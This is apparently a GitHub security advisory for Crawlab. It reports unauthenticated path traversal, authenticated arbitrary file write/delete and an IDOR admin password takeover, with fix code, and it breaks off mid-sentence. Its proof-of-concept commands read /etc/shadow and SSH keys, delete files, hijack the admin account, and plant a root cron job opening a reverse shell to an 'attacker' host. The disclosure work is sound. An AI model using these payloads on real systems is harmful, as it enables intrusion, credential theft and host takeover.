#1619·crawlab

[Security] Critical Path Traversal - Unauthenticated Arbitrary File Read/Write/Delete (CVSS 9.8)

Author: icysunCreated May 6, 2026Updated May 6, 2026

Crawlab Path Traversal Vulnerabilities — Unauthenticated & Authenticated Arbitrary File Access

Field Value
Product Crawlab
Repository https://github.com/crawlab-team/crawlab
Affected Version develop branch (latest as of 2026-05-06)
Component Sync file scan/download endpoints; Spider filesystem service
Language Go (Gin framework)
Discoverer icysun <东方思维>
Date 2026-05-06

1. Overview

Crawlab, a distributed web crawler management platform, contains two path traversal vulnerabilities that allow attackers to read, write, and delete arbitrary files on the server filesystem.

Finding 1 (Critical): Two endpoints — /sync/:id/scan and /sync/:id/download — are registered in the AnonymousGroup router group with no authentication requirement. The path query parameter is passed directly to filepath.Join without any sanitization, enabling unauthenticated arbitrary file read and directory enumeration.

Finding 2 (High): The Spider filesystem service (FsServiceV2) exposes GetFile, Save, Delete, Copy, and Rename operations that all concatenate user-supplied path parameters via filepath.Join(svc.rootPath, path) without boundary checks. Any authenticated user can traverse outside the spider directory to read, overwrite, or delete any file accessible to the Crawlab process.


2. Root Cause Analysis

2.1 Finding 1: Unauthenticated Arbitrary File Read

The root cause is the combination of two design failures:

A. Missing authentication on sync endpoints

In controllers/router_v2.go:360-372, the sync endpoints are registered under AnonymousGroup, which does not apply AuthorizationMiddlewareV2():

go
RegisterActions(groups.AnonymousGroup, "/sync", []Action{
    {
        Method:      http.MethodGet,
        Path:        "/:id/scan",
        HandlerFunc: GetSyncScan,
    },
    {
        Method:      http.MethodGet,
        Path:        "/:id/download",
        HandlerFunc: GetSyncDownload,
    },
})

B. No path validation in handler functions

In controllers/sync_v2.go:11-31, user-supplied path is directly concatenated with the workspace path:

go
func GetSyncScan(c *gin.Context) {
    id := c.Param("id")
    path := c.Query("path")                          // User input, no validation

    workspacePath := viper.GetString("workspace")
    dirPath := filepath.Join(workspacePath, id, path) // Path traversal!
    files, err := utils.ScanDirectory(dirPath)
    // ...
}

func GetSyncDownload(c *gin.Context) {
    id := c.Param("id")
    path := c.Query("path")                          // User input, no validation
    workspacePath := viper.GetString("workspace")
    filePath := filepath.Join(workspacePath, id, path) // Path traversal!
    c.File(filePath)
}

C. Go filepath.Join behavior

Go's filepath.Join internally calls filepath.Clean, which resolves .. path segments. This means:

filepath.Join("/root/crawlab_workspace", "anything", "../../../etc/passwd")
// resolves to: "/etc/passwd"

The .. traversal escapes the intended workspace directory entirely.

2.2 Finding 2: Authenticated Arbitrary File Read/Write/Delete

A. Missing path boundary checks in FsServiceV2

In fs/service_v2.go, all file operations accept an unsanitized path parameter:

go
func (svc *ServiceV2) GetFile(path string) (data []byte, err error) {
    return os.ReadFile(filepath.Join(svc.rootPath, path))    // No validation
}

func (svc *ServiceV2) Save(path string, data []byte) (err error) {
    return os.WriteFile(filepath.Join(svc.rootPath, path), data, 0644)  // No validation!
}

func (svc *ServiceV2) Delete(path string) (err error) {
    fullPath := filepath.Join(svc.rootPath, path)
    return os.RemoveAll(fullPath)                            // No validation!
}

The rootPath is intended to scope operations to a specific spider's directory, but filepath.Join resolves .. segments, allowing traversal to any filesystem path accessible to the process.


3. Attack Chain

3.1 Unauthenticated Attack (Finding 1)

An attacker with network access to the Crawlab server can:

  1. Enumerate directories — Use /sync/:id/scan with path=../../../<target_dir> to list directory contents.
  2. Read arbitrary files — Use /sync/:id/download with path=../../../<target_file> to download any file.
  3. Chain with other vulnerabilities — Read configuration files (.env, database credentials, API keys), SSH keys, cloud metadata, etc.

No authentication or user interaction is required.

3.2 Authenticated Attack (Finding 2)

A low-privileged authenticated user can escalate to full filesystem access:

  1. Read sensitive files/etc/shadow, database files, application secrets, TLS private keys.
  2. Write arbitrary files — Plant cron jobs for persistence, modify application code for backdoors, overwrite SSH authorized_keys.
  3. Delete arbitrary files — Remove critical system files causing denial of service.
  4. Remote code execution — Combine write with cron/SSH key overwrite for full RCE.

The impact scope extends beyond the Crawlab application to the entire host system.


4. Proof of Concept

4.1 Unauthenticated File Read

bash
# Directory enumeration — list /etc
curl -s "http://target:8080/sync/anything/scan?path=../../../etc" | python3 -m json.tool

# Read /etc/passwd
curl -s "http://target:8080/sync/anything/download?path=../../../etc/passwd"

# Read Crawlab configuration
curl -s "http://target:8080/sync/anything/download?path=../../../root/.crawlab.yaml"

# Read SSH private keys
curl -s "http://target:8080/sync/anything/download?path=../../../root/.ssh/id_rsa"

4.2 Authenticated Arbitrary File Read/Write/Delete

bash
# Read /etc/shadow (requires authentication)
curl -s -H "Authorization: Bearer <token>" \
  "http://target:8080/spiders/test/files/get?path=../../../../etc/shadow"

# Write cron job for reverse shell persistence (requires --exploit confirmation)
curl -s -X POST -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"path":"../../../../var/spool/cron/crontabs/root","data":"* * * * * /bin/bash -c '\''bash -i >& /dev/tcp/attacker/4444 0>&1'\''"}' \
  "http://target:8080/spiders/test/files/save"

# Delete arbitrary file (requires --exploit confirmation)
curl -s -X DELETE -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{"path":"../../../../important_file"}' \
  "http://target:8080/spiders/test/files"

4.3 Automated PoC Script

A full Python PoC is provided at reports/poc_crawlab_path_traversal.py.

bash
# Safe defaults: scan /etc and read /etc/passwd (no auth needed)
python3 poc_crawlab_path_traversal.py --target http://target:8080

# Read specific file
python3 poc_crawlab_path_traversal.py --target http://target:8080 --download /etc/shadow

# Authenticated read
python3 poc_crawlab_path_traversal.py --target http://target:8080 \
  --auth "Bearer <token>" --auth-read /etc/shadow

# Authenticated write (requires --exploit flag)
python3 poc_crawlab_path_traversal.py --target http://target:8080 \
  --auth "Bearer <token>" --exploit --auth-write /tmp/poc_test "hello"

5. CVSS Scoring

Finding 1: Unauthenticated Arbitrary File Read

CVSS 3.1 Score: 9.1 — Critical

Metric Value Rationale
Attack Vector Network (N) Exploitable over HTTP without authentication
Attack Complexity Low (L) Simple path traversal; no special conditions
Privileges Required None (N) No authentication required
User Interaction None (N) Fully automated, no victim action needed
Scope Unchanged (U) Vulnerability is in the web app component
Confidentiality High (H) Full read access to any file on the host
Integrity None (N) Read-only in this finding
Availability None (N) No direct impact

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Finding 2: Authenticated Arbitrary File Read/Write/Delete

CVSS 3.1 Score: 8.8 — High

Metric Value Rationale
Attack Vector Network (N) Exploitable over HTTP with valid session
Attack Complexity Low (L) Simple path traversal
Privileges Required Low (L) Any authenticated user (default role)
User Interaction None (N) No victim action needed
Scope Changed (C) Impacts host filesystem beyond the application
Confidentiality High (H) Read any file accessible to the process
Integrity High (H) Write/overwrite any file
Availability High (H) Delete any file; potential full system compromise

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H


6. Fix Recommendations

6.1 Immediate: Move sync endpoints to authenticated group

In controllers/router_v2.go, move the sync endpoints from AnonymousGroup to an authenticated group:

go
// BEFORE (vulnerable)
RegisterActions(groups.AnonymousGroup, "/sync", []Action{...})

// AFTER (fixed)
RegisterActions(groups.AuthGroup, "/sync", []Action{...})

6.2 Implement path validation utility

Create a helper function that validates the resolved path stays within the allowed base directory:

go
// utils/path.go
package utils

import (
    "errors"
    "os"
    "path/filepath"
    "strings"
)

// ValidatePath ensures that `resolved` is a child of `base`.
// It resolves symlinks and rejects any path that escapes the base directory.
func ValidatePath(base, userPath string) (string, error) {
    // Clean both paths to canonical form
    cleanBase := filepath.Clean(base)
    resolved := filepath.Clean(filepath.Join(base, userPath))

    // Resolve symlinks to prevent symlink-based escapes
    realBase, err := filepath.EvalSymlinks(cleanBase)
    if err != nil {
        return "", err
    }
    realResolved, err := filepath.EvalSymlinks(resolved)
    if err != nil {
        // File may not exist yet (for write operations)
        realResolved = resolved
    }

    // Ensure the resolved path starts with the base path + separator
    if !strings.HasPrefix(realResolved, realBase+string(os.PathSeparator)) &&
        realResolved != realBase {
        return "", errors.New("path traversal detected: resolved path escapes base directory")
    }

    return realResolved, nil
}

6.3 Apply validation in all vulnerable handlers

controllers/sync_v2.go:

go
func GetSyncScan(c *gin.Context) {
    id := c.Param("id")
    path := c.Query("path")

    workspacePath := viper.GetString("workspace")
    basePath := filepath.Join(workspacePath, id)

    // Validate: resolved path must stay within basePath
    dirPath, err := utils.ValidatePath(basePath, path)
    if err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": "invalid path"})
        return
    }

    files, err := utils.ScanDirectory(dirPath)
    // ...
}

func GetSyncDownload(c *gin.Context) {
    id := c.Param("id")
    path := c.Query("path")

    workspacePath := viper.GetString("workspace")
    basePath := filepath.Join(workspacePath, id)

    filePath, err := utils.ValidatePath(basePath, path)
    if err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"error": "invalid path"})
        return
    }

    c.File(filePath)
}

fs/service_v2.go:

Apply the same ValidatePath call in GetFile, Save, Delete, Copy, and Rename:

go
func (svc *ServiceV2) GetFile(path string) (data []byte, err error) {
    resolved, err := utils.ValidatePath(svc.rootPath, path)
    if err != nil {
        return nil, err
    }
    return os.ReadFile(resolved)
}

6.4 Additional hardening

  • Run Crawlab as a dedicated, low-privileged user — never as root.
  • Apply chroot or container isolation — limit filesystem access to only required directories.
  • Rate-limit anonymous endpoints — even after fixing, consider whether any endpoint truly needs to be public.
  • Add file extension/content-type allowlists — restrict downloadable files to expected types (e.g., .py, .json, .yaml).

7. Finding 3: IDOR — Arbitrary Password Change via User ID Parameter

7.1 Overview

The POST /users/:id/change-password endpoint allows any authenticated user to change the password of any other user in the system — including administrators — without verifying the current user's identity against the target user or requiring the target's current password. This is a classic IDOR (Insecure Direct Object Reference) vulnerability that enables privilege escalation from any low-privileged account to full administrative control.

An attacker who registers a normal user account (or compromises any existing account) can directly overwrite the admin password and assume full control of the Crawlab platform.

7.2 Root Cause Analysis

The vulnerability exists in controllers/user_v2.go lines 47–73, in the PostUserChangePassword function:

go
func PostUserChangePassword(c *gin.Context) {
    id, err := primitive.ObjectIDFromHex(c.Param("id"))
    if err != nil {
        HandleErrorBadRequest(c, err)
        return
    }

    var payload struct {
        Password string `json:"password"`
    }
    if err := c.ShouldBindJSON(&payload); err != nil {
        HandleErrorBadRequest(c, err)
        return
    }

    u := GetUserFromContextV2(c)   // Current logged-in user (attacker)
    user, err := modelSvc.GetById(id)  // Target user (from URL parameter — NO ownership check)
    if err != nil {
        HandleErrorNotFound(c, err)
        return
    }

    user.SetUpdated(u.Id)
    user.Password = utils.EncryptMd5(payload.Password)  // Set new password — NO old password verification

    if err := modelSvc.ReplaceById(user.Id, *user); err != nil {
        HandleErrorInternalServerError(c, err)
        return
    }

    c.JSON(http.StatusOK, gin.H{"ok": true})
}

Two critical authorization failures:

  1. No ownership check: The function retrieves the current user (u) but never compares u.Id with the target id. Any authenticated user can target any user ID.

  2. No old password verification: The payload only accepts a new password field. The existing password of the target account is never checked.

Contrast with the correct implementation in the same file (PutUserById):

go
func PutUserById(c *gin.Context) {
    ...
    u := GetUserFromContextV2(c)
    if u.Id != id {
        HandleErrorForbidden(c, errors.New("only the user themselves can update their profile"))
        return
    }
    ...
}

PutUserById correctly enforces u.Id == id, proving the developers intended self-only access for user modification operations. PostUserChangePassword simply omitted this check.

Route registration in controllers/router_v2.go:250–252 confirms the endpoint only requires authentication (no admin role check):

go
RegisterController(groups.AuthGroup, "/users", NewControllerV2[models2.UserV2]([]Action{
    ...
    {
        Method:      http.MethodPost,
        Path:        "/:id/change-password",
        HandlerFunc: PostUserChangePassword,
    },
}...))

Default credentials in constants/user.go:9–10 further amplify the risk:

go
DefaultAdminUsername = "admin"
DefaultAdminPassword = "admin"

7.3 Attack Chain

7.3.1 Standalone Exploitation

  1. Register a low-privileged user (or use an existing account / compromised credentials).
  2. Enumerate the admin user ID — use any authenticated endpoint (e.g., GET /users) to retrieve the admin's MongoDB ObjectID.
  3. Send the password change request targeting the admin user ID.
  4. Log in as admin with the new password to gain full platform control.

7.3.2 Combined Exploitation (Full System Compromise)

When combined with Findings 1 and 2, the attack chain enables complete system takeover:

  1. Information gathering — Use unauthenticated path traversal (GET /sync/x/scan?path=../../../etc) to read configuration files and identify the environment.
  2. Initial access — Log in with default admin/admin credentials (or register a new user).
  3. Privilege escalation — If using a low-privileged account, exploit the IDOR to overwrite the admin password.
  4. Arbitrary file write — Use the Spider filesystem service (Finding 2) to write to ~/.ssh/authorized_keys or a cron job.
  5. Remote code execution — SSH or cron-based RCE on the host system.

7.4 Proof of Concept

bash
# Step 1: Authenticate as a regular user (register if needed)
# Register
curl -s -X POST http://target:8080/api/v1/users/signup \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"attacker123","email":"[email protected]"}'

# Login
TOKEN=$(curl -s -X POST http://target:8080/api/v1/users/login \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","password":"attacker123"}' | jq -r '.data.token')

# Step 2: Enumerate users to find admin's ObjectID
ADMIN_ID=$(curl -s http://target:8080/api/v1/users \
  -H "Authorization: Bearer $TOKEN" | jq -r '.data.list[] | select(.username=="admin") | .id')
echo "Admin ID: $ADMIN_ID"

# Step 3: Change admin's password without knowing the current one
curl -s -X POST "http://target:8080/api/v1/users/${ADMIN_ID}/change-password" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"password":"pwned2026"}'

# Step 4: Log in as admin with the new password
ADMIN_TOKEN=$(curl -s -X POST http://target:8080/api/v1/users/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"pwned2026"}' | jq -r '.data.token')
echo "Admin token: $ADMIN_TOKEN"

7.5 CVSS Scoring

CVSS 3.1 Score: 8.1 — High

Metric Value Rationale
Attack Vector Network (N) Exploitable over HTTP with any authenticated session
Attack Complexity Low (L) Single API call; no special conditions
Privileges Required Low (L) Any authenticated user (including self-registered)
User Interaction None (N) Fully automated, no victim action needed
Scope Unchanged (U) Impact is within the application boundary
Confidentiality High (H) Full admin access exposes all data
Integrity High (H) Admin can modify any data, settings, or code
Availability High (H) Admin can disrupt services or delete resources

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE Classification:

  • CWE-639: Authorization Bypass Through User-Controlled Key (IDOR)
  • CWE-287: Improper Authentication (no old password verification)
  • CWE-862: Missing Authorization

7.6 Fix Recommendations

7.6.1 Add ownership verification

Enforce that the authenticated user can only change their own password:

go
func PostUserChangePassword(c *gin.Context) {
    id, err := primitive.ObjectIDFromHex(c.Param("id"))
    if err != nil {
        HandleErrorBadRequest(c, err)
        return
    }

    u := GetUserFromContextV2(c)

    // FIX 1: Verify the current user is the target user
    if u.Id != id {
        HandleErrorForbidden(c, errors.New("you can only change your own password"))
        return
    }

    // ... rest of the function
}

7.6.2 Require current password verification

Add the current password to the payload and verify it before allowing the change:

go
var payload struct {
    Password    string `json:"password"`     // New password
    OldPassword string `json:"old_password"` // Current password (required)
}

if err := c.ShouldBindJSON(&payload); err != nil {
    HandleErrorBadRequest(c, err)
    return
}

// FIX 2: Verify the old password matches
if utils.EncryptMd5(payload.OldPassword) != user.Password {
    HandleErrorUnauthorized(c, errors.New("current password is incorrect"))
    return
}

7.6.3 Change default credentials

In constants/user.go, replace default credentials with random values generated on f